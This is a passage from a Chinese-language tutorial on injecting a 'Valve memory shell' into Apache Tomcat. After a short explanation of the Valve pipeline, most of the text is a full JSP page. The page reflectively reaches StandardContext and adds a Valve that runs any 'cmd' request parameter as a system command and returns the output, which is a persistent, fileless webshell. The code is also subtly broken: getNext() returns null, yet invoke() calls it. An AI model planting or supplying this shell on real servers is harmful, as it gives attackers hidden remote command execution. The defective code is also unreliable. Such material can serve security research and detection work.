context.getPipeline().getFirst().invoke(request, response); // 获取StandardContext的Valve

然后在每一个invoke()里面又会递归调用

getNext().invoke(request, response); // 获取StandardContext的下一个Valve

所以我们只需在standardContext中添加我们的valve,即可注入Valve内存马

standardContext.getPipeline().addValve(valve);

Valve内存马实例

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>AddVavle</title>
</head>
<body>
<%
try {
// 从ServletContext中反射获取ApplicationContext和StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Valve valve = new Valve() {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
HttpServletRequest req = request;
String cmd = req.getParameter("cmd");
if (cmd != null) {
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = response.getWriter();
out.println(output);
out.flush();
out.close();
}
this.getNext().invoke(request, response);
}

@Override
public boolean isAsyncSupported() { return false; }

@Override
public Valve getNext() { return null; }

@Override
public void setNext(Valve valve) {}

@Override
public void backgroundProcess() {}
};

standardContext.getPipeline().addValve(valve);

response.getWriter().write("Success");

} catch (Exception e) {
e.printStackTrace();
}
%>
</body>
</html>

参考